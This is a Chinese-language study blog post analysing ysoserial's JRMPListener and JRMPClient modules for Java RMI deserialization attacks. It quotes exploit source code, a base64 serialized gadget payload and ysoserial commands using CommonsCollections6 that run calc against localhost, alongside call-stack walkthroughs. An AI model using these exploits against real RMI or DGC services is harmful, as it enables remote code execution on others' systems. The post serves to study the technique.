文章在先知社区首发
之前对这玩意儿还是不太熟悉呢,RMI的流程是熟悉了,但是这个还是有点混淆,特此记录。
有关RMI的直接推荐看一下Su18师傅的
https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93
这个写的不错我觉得。思路和条理都比较清晰,但是光看还是不行的。比我写的好,理清一下思路。(我自己都不想看自己写的)
也就是说当RMI Client发起请求后,流程大概如下
- RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
- Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
- RemoteCall 序列化 RMI 服务名称、Remote 对象。
- RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
- RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
- Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
- Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
- RMI 客户端反序列化服务端结果,获取远程对象的引用。
- RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
- RMI 客户端反序列化 RMI 远程方法调用结果。
上述是su18写的原话,我感觉是精华。结构感很强,我看的很懂,因为之前也自己分析过一遍流程,所以看的比较明白。
Exploit
JRMPListenr
顾名思义就是起一个恶意的JRMP 监听器,用于接收一个JRMP请求,然后将恶意的序列化数据返回给我们的客户端,在客户端完成反序列化流程,最终RCE。这里演示一遍简单的流程,首先需要准备一下yso源码,然后写一个简单的demo请求这个Evil Listener
1 2 3 4 5 6 7 8 9
| package com.javasec;
public class Demo { @Test public void test() throws Exception { Naming.lookup("rmi://127.0.0.1:7777/xxxx"); } }
|
yso这边设置启动项
运行之后就会发现弹出了客户端弹出了计算器。
流程分析
这边进行双向流程分析,受害机和服务端的流程分析。
首先当客户端进行lookup后,服务端的thread会接收请求
进入到doMessage流程,然后会在client这边获取到op
获取之后返回给服务端
这里op是80,对应TransportConstants.Call
进入docall方法。
在这里开始设置恶意的返回值。
注意这里设置了TransportConstants.ExceptionalReturn
,这与我们后续client处理请求有关系,然后设置了一下payloadObject,这里是CC5。
随之进入Client
这里的return type就是上面服务端设置的TransportConstants.ExceptionalReturn
,因此我们会进入相应的case
这里就对输入流进行了原生的反序列化。到这里也就完成了RCE,还是很有趣的。
JRMPClient
参考下列的Payloads/JRMPListener部分,他是用来主动攻击我们开启的JRMP服务端的。
Yso中对应的源码是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); Socket s = null; DataOutputStream dos = null; try { s = SocketFactory.getDefault().createSocket(hostname, port); s.setKeepAlive(true); s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream(); dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic); dos.writeShort(TransportConstants.Version); dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" ) final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); objOut.writeInt(0); objOut.writeLong(0); objOut.writeShort(0);
objOut.writeInt(1); objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush(); } finally { if ( dos != null ) { dos.close(); } if ( s != null ) { s.close(); } } }
|
这里对应objOut.writeLong(-669196253586618813L);
对应objOut.writeInt(1); // dirty opnum is 1
也就导致了反序列化,其他的write往前追溯都可以找到。
这里就对应上述payload中的write一系列。
Payloads
payload模块对应的其实都是gadgets,rmi也有所谓的gadgets
JRMPListenr
首先payload/JRMPListenr的作用体现在,会让存在反序列化入口点的地方,主动开启一个恶意的端口,然后当我们往这个开启的端口送入恶意的参数时就会触发反序列化,从而导致RCE。这个payload用到的地方不太多。但是流程很有趣。
流程分析
其实我自己是比较习惯于正向分析一波先,但是这里为了让条理清晰一点,我选择逆向分析payload。
java -jar ysoserial-all.jar JRMPListener 8888|base64
,使用这个payload
准备一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.javasec;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.nio.charset.StandardCharsets; import java.rmi.Naming; import java.util.Base64; import java.util.HashMap; import java.util.HashSet;
public class Demo { @Test public void test() throws Exception { SerializeUtils.base64deserial("rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1ncm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExqYXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKwBSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2FzdFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIvUk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZlclNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0U2VydmVyUmVmeAAAIrhwcAAAAAAAAAAAcHAAcHBw"); while (true) { System.out.println(System.currentTimeMillis()); Thread.sleep(3000); } } }
|
这里的while循环是为了让进程不结束,因为我们要开端口的,程序结束了那么啥都结束了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) *
|
Yso给出了调用栈,我们跟着来一下
reexport函数
这里就是我们payload里的ActiveGroupImpl了。我们准备把他export。
用UnicastServerRef包裹了一下
这里就是一直export,我直接跳过了
到这里就listen开启监听了。然后我们就可以用exploit/jrmpclient
去攻击这个地方了。
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 8888 CommonsCollections6 calc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| readObject:297, HashSet (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) dispatch:-1, DGCImpl_Skel (sun.rmi.transport) oldDispatch:410, UnicastServerRef (sun.rmi.server) dispatch:268, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1052690258 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
|
放一下stack,我们创建的listener接受到了请求
我们这其实是攻击了服务端的DGC,可以看到左下角的DGC_SKEL,然后会对请求进行原生的反序列化,也就导致了RCE。
JRMPClient
payloads/JRMPClient,这个gadgets是最常用的也是实战意义比较大的一个。它可以让反序列化点主动发起一个JRMP请求,然后我们配合exploit/JRMPListener开启一个监听。这样的话就可以成功的让client被攻击。是一种主动请求的方式。
流程分析
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 7777 CommonsCollections6 calc
java -jar ysoserial-all.jar JRMPClient 127.0.0.1:8888|base64
成功弹出计算机,这个方法的原理刚刚也说了,我们逆向跟一下流程。首先我们看一下Yso的payloads怎么构造的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public Registry getObject ( final String command ) throws Exception {
String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
|
他用了一个RemoteObjectInvocationHandler
去包裹我们的UnicastRef
,然后在RemoteObjectInvocationHandler
时
调用了UnicastRef的readExternal
方法。
调用了LiveRef的read
DGCClient.registerRefs
,到了DGC处理部分了。
在之前的调试过程中,也曾看到过 DGC 相关的代码,不过没有分析,统一在这里来说。
DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。
RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirty 和 clean:
- 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
- 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。
这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel。
引自Su18
这里是客户端DGC注册Ref
进入registerRefs
在这里要发起DirtyCall了。
dirty方法发起请求
进而回到了UnicastRef的newcall方法发起请求
至此完成主动访问Evil server的流程,Evil server返回payload给客户端进行Deser
结束。
Summary
还是感觉Yso这2个payload是挺有意思的,大家可以自己去尝试尝试,别搞混淆了,JRMP是RMI具有实战意义的gadgets,分析其中的流程可以让大家更好的理解RMI发序列化。到这里也算给自己的RMI做个小结。